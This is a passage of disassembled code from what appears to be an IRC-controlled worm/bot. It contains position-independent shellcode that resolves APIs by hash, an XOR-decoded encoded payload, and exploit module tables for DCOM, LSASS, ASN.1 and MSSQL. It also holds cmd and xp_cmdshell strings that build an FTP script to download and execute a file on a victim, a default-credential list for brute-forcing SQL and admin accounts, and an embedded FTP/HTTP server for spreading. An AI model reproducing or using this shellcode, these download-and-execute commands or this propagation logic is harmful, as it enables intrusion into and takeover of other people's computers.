loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------

loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi

loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------

loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------

loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: seg000:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------

loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------

loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E

loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9

loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; sub_40CE55+819o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h			; DATA XREF: sub_404108+320o
dword_4263E4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o
dword_4263F0	dd 30h			; DATA XREF: sub_404108+2CAo
					; seg000:0042C5B4o ...
dword_4263F4	dd 0A1h			; DATA XREF: sub_404108+29Fo
dword_4263F8	dd 3			; DATA XREF: sub_404108+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4

loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0			; CODE XREF: seg000:loc_426404j
dword_426410	dd 2F2F7325h, 2E732520h, 0 ; DATA XREF:	seg000:00404AD5o
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+178o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+E4o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: sub_404F08+47o
					; seg000:0042C324o
		align 4
aAdministrater	db 'administrater',0    ; DATA XREF: sub_404F08+40o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: sub_404F08+39o
					; seg000:0042C318o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: sub_404F08+32o
					; seg000:0042C314o ...
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; seg000:0042C328o
		align 10h
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; seg000:0042C330o ...
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_4265BC	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: seg000:00405393o
		db 1Ah
; ---------------------------------------------------------------------------

loc_4265CD:				; CODE XREF: seg000:004265D4j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_4265CD
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_426710	dw 7A69h		; DATA XREF: sub_4051BC+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405409+5B9o
					; sub_40CE55+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405409+5ACo
		align 4
dword_42675C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405409+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405409+516o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_405409+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405409+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405409+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405409+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405409+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405409+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405409+39Co
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI:					; DATA XREF: sub_405409+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA:					; DATA XREF: sub_405409+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405409+326o
					; sub_405409+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
		align 4
off_426918	dd offset dword_445750	; DATA XREF: sub_405409+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_405409+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405409+2BAo
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405409+296o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405409+271o
					; seg000:0042C360o ...
		align 10h
aSS		db '%s %s',0            ; DATA XREF: sub_405409+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
		align 10h
aRb		db 'rb',0               ; DATA XREF: sub_405A89+24o
					; sub_406C3E+12Eo ...
		align 4
unk_4269B4	db    2			; DATA XREF: sub_405B23+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269FC	db 0Dh,0Ah,0		; DATA XREF: sub_405B23+2CFo
		align 10h
asc_426A00:				; DATA XREF: sub_405B23+293o
					; sub_40CE55+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405B23+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F7E+97o
					; sub_40AAD1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F7E+5Eo
		align 10h
unk_426C20	db    2			; DATA XREF: sub_406100+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_426C6C	db    2			; DATA XREF: sub_406100+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426CB0:				; DATA XREF: sub_406100+157o
					; seg000:0042DFF8o
		unicode	0, <*>,0
asc_426CB4:				; DATA XREF: sub_406100+FBo
					; sub_4063B0+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406100+EAo
					; sub_4063B0+4CAo ...
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_406100+3Ao
					; sub_40A621+4Co ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4063B0+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4063B0+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4063B0+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+330o
					; sub_4063B0+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_4063B0+2E4o
					; sub_4063B0+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_4063B0+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4063B0+285o
		align 10h
a__0:					; DATA XREF: sub_4063B0+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4063B0+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4063B0+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42716C	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C3E+493o
dword_427178	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406C3E+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_4271C8	db    2			; DATA XREF: sub_406C3E+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_427204	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C3E+399o
unk_427218	db    2			; DATA XREF: sub_406C3E+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_42726C	db    2			; DATA XREF: sub_406C3E+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_4272BC	db    2			; DATA XREF: sub_406C3E+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406C3E+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40778B+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: seg000:00404ACFo
		align 4
		dd 5 dup(0)
dword_427338	dd 87h			; DATA XREF: sub_407135+1Er
					; sub_40CE55+2F87r ...
off_42733C	dd offset sub_4033CB	; DATA XREF: sub_40778B+1E6r
dword_427340	dd 0			; DATA XREF: sub_402DDD+193w
					; sub_402DDD+199r ...
dword_427344	dd 1			; DATA XREF: sub_407276+1Fr
dword_427348	dd 0			; DATA XREF: sub_407276:loc_4074E7r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 405168h, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052FCh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_4276A2	db 1			; DATA XREF: sub_40CE55:loc_411958r
					; sub_40CE55+4B0Do
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407135+42o
		align 4
unk_4276DC	db    2			; DATA XREF: sub_407135+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_427714	db    2			; DATA XREF: sub_4071FF+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427748	db    2			; DATA XREF: sub_4071FF+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42777C	db    2			; DATA XREF: sub_407276+36Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4277C4	db    2			; DATA XREF: sub_407276+307o
					; sub_40CE55+5039o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_427814	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+267o
		dd 2029206Ch, 2BBBB02h
